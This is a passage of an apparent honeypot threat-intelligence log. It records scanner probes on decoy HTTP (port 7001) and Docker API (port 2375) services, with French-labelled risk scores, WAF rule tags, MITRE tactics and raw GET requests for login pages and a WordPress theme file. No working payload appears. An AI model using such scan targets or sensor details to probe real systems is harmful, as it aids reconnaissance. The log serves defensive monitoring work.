"protocol": 33, "novelty": 15 }, "risk_score": 44, "tag_count": 3, "anomaly_count": 0, "campaign_key": "ab47d0db2c77badfb94beb385cdc7e121e96c1a4", "event_fingerprint": "c0b750f953a49d629ecbc81ee44b55769e6dbf95", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "confidence": 0.7, "classification_confidence": 0.7, "precision_score": 73, "precision_signals": [ "MITRE-T1190" ], "kb_rule_ids": [ "MITRE-T1190" ], "confidence_breakdown": { "waf": 60, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 15, "risk_score": 44, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "http", "risk_confidence_factor": 62, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "08f6c5edb9fa39ec9e02119be124d6d2", "payload_hash": "7f4da59a2c59801fb42898ed83027752", "path_pattern_hash": "a1458c22e806aeab9c7194876e175b09" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 44 }, "payload_preview": "GET \/overview.asp HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/2010010", "method": "GET", "path": "\/overview.asp", "user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/20100101 Firefox\/112.0", "waf_tags": [ "950326:rce-0", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "nosqli-3" ], "request_line": "GET \/overview.asp HTTP\/1.1", "request_sample": "GET \/overview.asp HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/20100101 Firefox\/112.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/overview.asp HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/2010010", "evidence": { "method": "GET", "path": "\/overview.asp", "user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/20100101 Firefox\/112.0", "waf_tags": [ "950326:rce-0", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "nosqli-3" ], "request_line": "GET \/overview.asp HTTP\/1.1", "request_sample": "GET \/overview.asp HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/20100101 Firefox\/112.0\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/overview.asp HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/2010010", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre": "TA0001", "threat_family": [ "unknown" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "d402db5903183b9e0ed946bc14d36ee8fd0322a6", "protocol_details": { "http_method": "GET", "http_path": "\/overview.asp", "request_line": "GET \/overview.asp HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/20100101 Firefox\/112.0", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/overview.asp HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/2010010", "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/overview.asp", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 62 % \u2014 2 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "classification_reason_label_fr": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 44\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 70 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 70, "confidence_breakdown": { "waf": 60, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 15, "risk_score": 44, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 44, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "MITRE-T1190" ], "tags_summary_labels_fr": [ "MITRE-T1190" ], "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0001", "mitre_technique": "TA0001", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/overview.asp", "request_line": "GET \/overview.asp HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/20100101 Firefox\/112.0", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/overview.asp", "evidence_snippet": "GET \/overview.asp HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/2010010", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 62 % \u2014 2 tag(s) WAF", "confidence_factors_fr": "Confiance 70 % \u2014 Score WAF 60 \u00b7 Bonus corr\u00e9lation +8 \u00b7 2 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "950326:rce-0", "950470:nosqli-3", "net_web_probe" ] }
30/07/2026 21:49:16 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 33
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload http_get_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /users/sign_in HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, l Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 33 Confiance : Confiance 0 % — 6 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /users/sign_in HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, l Requête brute (extrait) GET /users/sign_in HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 230, "payload_entropy": 5.403735839778741, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 40, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 5.1, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25 }, "risk_score": 33, "tag_count": 6, "anomaly_count": 0, "campaign_key": "11a06314b5b73d1ed254793071b2d148dd63d0fb", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "b9756a4fa63286ef65712189e7dc27d4", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 33 }, "payload_preview": "GET \/users\/sign_in HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36 (KHTML, l", "request_sample": "GET \/users\/sign_in HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/135.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/users\/sign_in HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36 (KHTML, l", "evidence": { "request_sample": "GET \/users\/sign_in HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/135.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/users\/sign_in HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36 (KHTML, l", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "4984034ebd148db3336ca0958e5d4f3795d75435", "protocol_details": { "payload_preview": "GET \/users\/sign_in HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36 (KHTML, l", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/users\/sign_in HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36 (KHTML, l", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 6 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 33, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/users\/sign_in HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36 (KHTML, l", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/users\/sign_in HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36 (KHTML, l", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 6 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "http_get_probe", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:16 UTC	TCP	7001 · HTTP	http	probe users probe users · via HTTP:7001 · (sonde / probe) · → /users/sign_in	Élevée	Moyen · 48
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole GET /users/sign_in UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605… Émulateur HTTP WAF 19 Recommandation Surveiller Tags 950326:rce-0 950468:nosqli-3 950470:nosqli-3 http_probe_users Cible HTTP GET /users/sign_in TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /users/sign_in Service HTTP Pourquoi cette classification : Type « probe_users » (signaux protocolaires) · confiance 50% Confiance classification 58% Corrélation +8 Risque capteur Moyen · 48 Confiance : Confiance 50 % — 3 tag(s) WAF Protocole émulé 1 Signaux Upstream Waf Score Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 Ligne de requête `GET /users/sign_in HTTP/1.1` User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /users/sign_in HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605. Requête brute (extrait) GET /users/sign_in HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 0, "http_path_depth": 2, "http_path_ext": null, "http_ua_hash": "9f53f29c17711adfd23bbd8a01c665bd3563cd65", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "9cff08be9a5f44df47ed3516be30b825e11434a4", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 242, "payload_entropy": 5.319147117580408, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 84, "risk_classification": 54, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 43, "risk_novelty": 25, "risk_boost": 0, "risk_granularity": 5.9, "risk_breakdown": { "waf": 84, "classification": 54, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25 }, "risk_score": 48, "tag_count": 5, "anomaly_count": 0, "campaign_key": "72cf16684a21bc4aeb7da016ab9e4fae17cc65fd", "event_fingerprint": "731f4c4199424c1b6ca4050a3477816004efd32f", "classification_reason": "Type \u00ab probe_users \u00bb (signaux protocolaires) \u00b7 confiance 50%", "confidence": 0.58, "classification_confidence": 0.58, "precision_score": 55, "precision_signals": [ "INT-upstream", "INT-waf-score" ], "kb_rule_ids": [ "INT-upstream", "INT-waf-score" ], "confidence_breakdown": { "waf": 84, "classification": 54, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 48, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "http", "risk_confidence_factor": 50, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "65a9300d3b33c6cd8103cbed651bb82c", "payload_hash": "f4f2d519464e2c4130fda7beec7a0c6f", "path_pattern_hash": "eb5f8c8ee83352ec4106d87da9c07c40" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 48 }, "payload_preview": "GET \/users\/sign_in HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit\/605.", "method": "GET", "path": "\/users\/sign_in", "user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/13.1 Safari\/605.1.15", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "nosqli-3" ], "request_line": "GET \/users\/sign_in HTTP\/1.1", "request_sample": "GET \/users\/sign_in HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/13.1 Safari\/605.1.15\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/users\/sign_in HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit\/605.", "evidence": { "method": "GET", "path": "\/users\/sign_in", "user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/13.1 Safari\/605.1.15", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "nosqli-3" ], "request_line": "GET \/users\/sign_in HTTP\/1.1", "request_sample": "GET \/users\/sign_in HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/13.1 Safari\/605.1.15\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/users\/sign_in HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit\/605.", "classification_reason": "Type \u00ab probe_users \u00bb (signaux protocolaires) \u00b7 confiance 50%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "unknown" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "469c7a03db3dbc30b3c30ae8125ce5383dcca1c6", "protocol_details": { "http_method": "GET", "http_path": "\/users\/sign_in", "request_line": "GET \/users\/sign_in HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/13.1 Safari\/605.1.15", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/users\/sign_in HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit\/605.", "attack_vector": "probe users \u00b7 via HTTP:7001 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/users\/sign_in", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 50 % \u2014 3 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Type \u00ab probe_users \u00bb (signaux protocolaires) \u00b7 confiance 50%", "classification_reason_label_fr": "Type \u00ab probe_users \u00bb (signaux protocolaires) \u00b7 confiance 50%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 48\/100", "confidence_pct": 58, "confidence_breakdown": { "waf": 84, "classification": 54, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 25, "risk_score": 48, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 48, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "INT-upstream", "INT-waf-score" ], "tags_summary_labels_fr": [ "Upstream", "Waf Score" ], "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/users\/sign_in", "request_line": "GET \/users\/sign_in HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/13.1 Safari\/605.1.15", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "probe users \u00b7 via HTTP:7001 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/users\/sign_in", "evidence_snippet": "GET \/users\/sign_in HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit\/605.", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 50 % \u2014 3 tag(s) WAF", "confidence_factors_fr": "Confiance 58 % \u2014 Score WAF 84 \u00b7 Bonus corr\u00e9lation +8 \u00b7 3 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "http_probe_users", "net_web_probe" ] }
30/07/2026 21:49:12 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 33
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload http_get_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /wp-content/themes/listingpro/style.css HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x6 Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 33 Confiance : Confiance 0 % — 6 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /wp-content/themes/listingpro/style.css HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x6 Requête brute (extrait) GET /wp-content/themes/listingpro/style.css HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.4 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": 